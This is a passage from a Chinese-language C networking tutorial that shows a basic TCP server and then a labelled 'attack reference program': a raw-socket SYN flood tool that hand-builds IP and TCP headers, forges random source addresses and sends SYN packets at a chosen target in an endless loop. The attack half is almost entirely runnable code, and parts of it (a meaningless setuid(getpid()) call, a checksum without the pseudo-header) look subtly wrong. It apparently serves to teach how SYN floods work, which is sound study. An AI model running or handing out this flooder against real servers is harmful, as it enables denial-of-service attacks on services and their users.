关闭连接请求
-
关闭socket
其中 4、5、6可作为一个循环,多次响应连接请求。
下面我们是一个TCP Server程序,还是老规矩,力求简单,不做容错处理,
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#define SER_ADDR 9999
int main(int argc, char *argv[])
{
int sockfd, newsockfd;
struct sockaddr_in my_addr, client_addr;
char buffer[100];
/**
* Step 1: 创建一个socket, 指定SOCK_STREAM代表TCP
*/
sockfd = socket(AF_INET, SOCK_STREAM, 0);
/**
* Step 2: 绑定一个端口号
*/
memset(&my_addr, 0, sizeof(struct sockaddr_in));
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(SER_ADDR);
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr_in)) < 0){
perror("Error for bind");
return 1;
}
/**
* Step 3: 监听连接
*/
listen(sockfd, 5);
fprintf(stdout, "Serve listenning....\n");
while(1){
/**
* Step 4: Accept 一个连接请求
*/
socklen_t client_len = sizeof(client_addr);
newsockfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
/**
* Step 5: 从当前连接读取数据 */
memset(buffer, 0, sizeof(buffer));
int len = read(newsockfd, buffer, 100);
printf("Received %d bytes: %s", len, buffer);
/**
* Step 6: 关闭当前链接*/
close(newsockfd);
}
/**
* Step 7: 关闭套接字
*/
close(sockfd);
return 0;
}
7.4.5.3. Attack 攻击参考程序
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char** argv)
{
int skfd;
struct sockaddr_in target;
struct hostent *host;
const int on=1;
unsigned short srcport;
printf("argc = %d\n", argc);
if(argc != 4) {
printf("Usage:%s target dstport srcport\n",argv[0]);
exit(1);
}
bzero(&target,sizeof(struct sockaddr_in));
target.sin_family=AF_INET;
target.sin_port=htons(atoi(argv[2]));
if(inet_aton(argv[1],&target.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
printf("TargetName Error:%s\n",hstrerror(h_errno));
exit(1);
}
target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
perror("Create Error");
exit(1);
}
//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
perror("IP_HDRINCL failed");
exit(1);
}
//因为只有root用户才可以play with raw socket :)
setuid(getpid());
srcport = atoi(argv[3]);
attack(skfd,&target,srcport);
return 0;
}
//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
{
char buf[128]={0};
struct ip *ip;
struct tcphdr *tcp;
int ip_len;
//在我们TCP的报文中Data没有字段,所以整个IP报文的长度
ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
//开始填充IP首部
ip=(struct ip*)buf;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip)>>2;
ip->ip_tos = 0;
ip->ip_len = htons(ip_len);
ip->ip_id=0;
ip->ip_off=0;
ip->ip_ttl=MAXTTL;
ip->ip_p=IPPROTO_TCP;
ip->ip_sum=0;
ip->ip_dst=target->sin_addr;
//开始填充TCP首部
tcp = (struct tcphdr*)(buf+sizeof(struct ip));
tcp->source = htons(srcport);
tcp->dest = target->sin_port;
tcp->seq = random();
tcp->doff = 5;
tcp->syn = 1;
tcp->check = 0;
while(1){
//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
ip->ip_src.s_addr = random();
tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
}
}
//关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
// register short *w=addr;
register unsigned short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}